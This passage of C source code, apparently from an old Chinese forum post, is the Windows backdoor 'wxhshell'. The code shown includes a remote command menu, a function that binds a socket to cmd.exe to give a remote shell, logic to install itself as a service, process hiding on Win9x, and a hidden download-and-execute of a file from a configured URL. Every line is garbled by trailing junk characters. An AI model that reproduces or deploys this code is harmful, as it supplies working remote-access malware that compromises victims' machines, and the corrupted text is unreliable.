  send(wsh,msg_ws_err,strlen(msg_ws_err),0); R5qC;_0cV  
  else )Nk^;[  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); MOdodyG  
  } fH>]>2fS  
  else { |eJ4"OPC  
M&xfQNE   
    switch(cmd[0]) { m>~%. (/x  
  cs,%Zk.xjw  
  // 帮助 <$_B J2Z  
  case '?': { ]7Tjt A.\q  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Wn<3|`c  
    break; ,qyH B2v  
  } dtr8u  
  // 安装 MWu67">"  
  case 'i': { 4$@)yZ  
    if(Install()) 8I3"68c_a  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?$v#;n?@I  
    else 3S ,D~L^  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); NFv9%$l-  
    break; | x/,  
    } $Ic: c  
  // 卸载 l}># p'$  
  case 'r': { Y;4nIWe JL  
    if(Uninstall()) k?KKb /&b  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #O* ytZ  
    else 3w#kvtDVm  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +-1t]`9k4  
    break; (@>X!]{$  
    } x<4-Q6'{S  
  // 显示 wxhshell 所在路径 nJNdq`y2  
  case 'p': { T dlF~ca|  
    char svExeFile[MAX_PATH]; Oe5=2~4O  
    strcpy(svExeFile,"\n\r"); !0{":4 \  
      strcat(svExeFile,ExeFile); ?dY}xE  
        send(wsh,svExeFile,strlen(svExeFile),0); 9U^jsb<St>  
    break; aj85vON1`  
    } e}D#vPaSY  
  // 重启 XzIhFX6  
  case 'b': { G BV]7.  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); \E5%.KR  
    if(Boot(REBOOT)) TeSF  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); |/5j0  
    else { |W<wPmW_{+  
    closesocket(wsh); d~u+:[\=/  
    ExitThread(0); )=8MO-{  
    } IxHusB  
    break; xQT`sK+  
    } :D`ghXj  
  // 关机 1$]4g/":o  
  case 'd': { Ol"*(ea-TX  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 615, P/  
    if(Boot(SHUTDOWN)) c%n[v3]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <H::{  
    else { !7]4sXL{  
    closesocket(wsh); 80U07tJ  
    ExitThread(0); LzEs_B=9  
    } P33x/#VVE  
    break; u(S~V+<@Z  
    } v `9IS+Z  
  // 获取shell Zu951+&`  
  case 's': { "JzQCY^C  
    CmdShell(wsh); ?kMG!stgp}  
    closesocket(wsh); +}@1X&v:  
    ExitThread(0); x >hnH{~w  
    break; e p* (  
  } %}t.+z(S  
  // 退出 dcew`$SJp  
  case 'x': { -$yNJ5F`  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); t:X\`.W  
    CloseIt(wsh); ]{;=<t6  
    break; ?{ns1nW:  
    } I'%vN^e^  
  // 离开 qc;9{$?xV  
  case 'q': { &_n~#Mex  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); l$=Y(Xk  
    closesocket(wsh); f^\qDvPur  
    WSACleanup(); Q5b~5a  
    exit(1); F?TxViL  
    break; Z6#}6Y{  
        } WB<_AIt+  
  } wyvrNru<l4  
  } M}MXR=X,  
O:3LA-vA  
  // 提示信息 ~OO&%\$k  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); K"B2 SsC  
} r*'a-2A u  
  } hY X H9:  
aVcQ  
  return; \W Kly  
} Y).5(t7zaR  
!c,=%4Pb  
// shell模块句柄 H.cN(7LXm  
int CmdShell(SOCKET sock) G41 gil6k  
{ [9| 8p$  
STARTUPINFO si; {eo4J&as  
ZeroMemory(&si,sizeof(si)); N'[bA  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; -F\xZ  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; bAS('R;4  
PROCESS_INFORMATION ProcessInfo; oVk*G  
char cmdline[]="cmd"; <J" 7ufHSQ  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); }#va#Nb(,  
  return 0; #-?C{$2I  
} 0]%0wbY1  
{YnR]|0&  
// 自身启动模式 UZ#Yd|'PD  
int StartFromService(void) 0*0]R C5?  
{ c@H:?s!0R  
typedef struct G Xx7/X  
{ z9OhY]PPF  
  DWORD ExitStatus; )bN|*Bw3  
  DWORD PebBaseAddress; ) in hPd  
  DWORD AffinityMask; FaS}$-0  
  DWORD BasePriority; U"\$k&  
  ULONG UniqueProcessId; )pELCk  
  ULONG InheritedFromUniqueProcessId; 6apK]PT  
}   PROCESS_BASIC_INFORMATION; `D)ay  
-ZwQL="t  
PROCNTQSIP NtQueryInformationProcess; k/[*Wz$W  
2 |lm'Hf  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; U,Py+c6  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Teq1VK3Hr  
CFdR4vuEI  
  HANDLE             hProcess; w;@DcX$]  
  PROCESS_BASIC_INFORMATION pbi; n-iy;L^b  
bV|(V>  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); oj\av~cI  
  if(NULL == hInst ) return 0; ti6\~SY  
v[4A_WjT  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); $ qOV#,@  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); IoUQ~JviA  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 6b& <5,=d:  
Ucnj7>+"  
  if (!NtQueryInformationProcess) return 0; wV\;,(<x=%  
a|aRUxa0"  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); H{}0- 0o  
  if(!hProcess) return 0; f`Km ctI  
f44b=,Lry5  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; iEd%8 F h  
Y JzKE7%CO  
  CloseHandle(hProcess); M-> /vi  
={_.}   
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ND);7  
if(hProcess==NULL) return 0; Np$peT[  
':al4m"  
HMODULE hMod; kT|{5Kn&s  
char procName[255]; x0aPY;,N0  
unsigned long cbNeeded; =~;SUO  
R1.No_`PHq  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); CZE!rpl  
v,6  
  CloseHandle(hProcess); 0V{a{>+  
+bC-_xGuh  
if(strstr(procName,"services")) return 1; // 以服务启动 !=%E&e]  
wkSIQL  
  return 0; // 注册表启动 XP#j9CF#.  
} g-B~" tp  
d V+%x"[:  
// 主模块 Cm)_xnv  
int StartWxhshell(LPSTR lpCmdLine) 0Vu&UD  
{ o5~o Rmsr  
  SOCKET wsl; #'"zyidu  
BOOL val=TRUE; :5kgJu  
  int port=0; `<R;^qCt  
  struct sockaddr_in door; wk @-O}W  
eK]g FXk  
  if(wscfg.ws_autoins) Install(); M#v#3:&5  
gcLwQ-  
port=atoi(lpCmdLine); MDETAd  
m e\S:  
if(port<=0) port=wscfg.ws_port; G)qNu}  
+<cvyg5U  
  WSADATA data; 8NY $Iw  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 9rhIDA(wc  
m~KGB"  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   w]n ,`r^  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); %3v:c|r  
  door.sin_family = AF_INET; {P'TtlEp  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); tnx)_f  
  door.sin_port = htons(port); Vp3r  
|Ld/{&Qr  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { \;"$Z 9W  
closesocket(wsl); Bvbv~7g (  
return 1; 2^-Z17Z}  
} hVvPI1[2  
Z<7FF}i  
  if(listen(wsl,2) == INVALID_SOCKET) { j@OGl&'^-  
closesocket(wsl); k+*DPo@)  
return 1; :]?y,e%xu,  
} RRYm.dMIw  
  Wxhshell(wsl); ~(%TQY5  
  WSACleanup(); 'G3;!xk$  
:\ %.x3T'  
return 0; 6U{&`8C  
IfyyA  
} 4[@`j{  
j 8lWra\y  
// 以NT服务方式启动 -b1VY4m-  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 6.]x@=Wm  
{ kbij Zj{  
DWORD   status = 0; `1I@tz|  
  DWORD   specificError = 0xfffffff; 3hzI6otKS  
Q/e$Ttt4J  
  serviceStatus.dwServiceType     = SERVICE_WIN32; OKDBzl  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; &r0b~RwUv  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ~N</;{}fL4  
  serviceStatus.dwWin32ExitCode     = 0; eBZ^YY<*g  
  serviceStatus.dwServiceSpecificExitCode = 0; hdFIriE3  
  serviceStatus.dwCheckPoint       = 0; m%8idjnG  
  serviceStatus.dwWaitHint       = 0; k M/cD`  
L0j&p[(r  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); GyE-fB4C  
  if (hServiceStatusHandle==0) return; yHvF"4]  
6>I{Ik@>  
status = GetLastError(); aOWE\I c8  
  if (status!=NO_ERROR) H^Th]-Zl  
{ 2LpJxV  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED;  ZzDE  
    serviceStatus.dwCheckPoint       = 0; 7C7eX J9q  
    serviceStatus.dwWaitHint       = 0; rh;@|/<l  
    serviceStatus.dwWin32ExitCode     = status; u&Ze$z  
    serviceStatus.dwServiceSpecificExitCode = specificError; !ueyVE$1  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); cO$ PK  
    return; wKe$(>d"L  
  } M[wd.\ %  
Q}G'=Q]Juz  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; aL63=y  
  serviceStatus.dwCheckPoint       = 0; MMs#Y1dH  
  serviceStatus.dwWaitHint       = 0; !P*1^8b`f  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 5l"EQ9  
} sP1wO4M?{  
n-q  
// 处理NT服务事件,比如:启动、停止 ?y( D_NtL  
VOID WINAPI NTServiceHandler(DWORD fdwControl) E\U6n""]  
{ RfP>V/jy5  
switch(fdwControl) OLAw Rha  
{ 2t h\%  
case SERVICE_CONTROL_STOP: n[zP}YRr  
  serviceStatus.dwWin32ExitCode = 0; k(Z+(Y'{q~  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; _*b1]<  
  serviceStatus.dwCheckPoint   = 0; g(d9=xq@k  
  serviceStatus.dwWaitHint     = 0; /rsr|`#  
  { XW!a?aLNX  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); WBS~e  
  } >YPC &@9   
  return; PZn[Yb:  
case SERVICE_CONTROL_PAUSE: r81YL  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; d/>owCwQ  
  break; QN=a{  
case SERVICE_CONTROL_CONTINUE: (;1FhIi&  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; :[#g_*G@p  
  break; p7 b`Z>}  
case SERVICE_CONTROL_INTERROGATE: R/)cEvB-0  
  break; 'I|A*rO  
}; b2OVg +3  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); }wmn v  
} 4_3O?IY  
/]=d Pb%  
// 标准应用程序主函数 x <^vJ1  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) iV X12  
{ ,#G>&  
6< x0e;>  
// 获取操作系统版本 J(*QtF  
OsIsNt=GetOsVer(); + QcgLq  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Ux_tHyc/  
+QNFu){G  
  // 从命令行安装 Y40Hcc+Fx  
  if(strpbrk(lpCmdLine,"iI")) Install(); +hdD*}qauC  
%GUu{n<6  
  // 下载执行文件 \VmqK&9   
if(wscfg.ws_downexe) { 8D[8(5  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Jd_w:H.  
  WinExec(wscfg.ws_filenam,SW_HIDE); h>v;1Q O9D  
} :O:Rfmr~  
/s.O3x._'  
if(!OsIsNt) { 4^1B'>I  
// 如果时win9x,隐藏进程并且设置为注册表启动 FY%v \`@1*  
HideProc(); i3I'n*  
StartWxhshell(lpCmdLine); XGE:ZVpW  
} tqLn  A  
else j?Ki<MD1  
  if(StartFromService()) XCU.tWR:  
  // 以服务方式启动 k$</7 IuH  
  StartServiceCtrlDispatcher(DispatchTable); ra \Moy  
else *ayn<Vlh`^  
  // 普通方式启动 xao'L  
  StartWxhshell(lpCmdLine); \-k X-Tq  
2kV[A92s  
return 0; a' "4:(L  
}
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只看该作者 1 发表于: 2006-10-10
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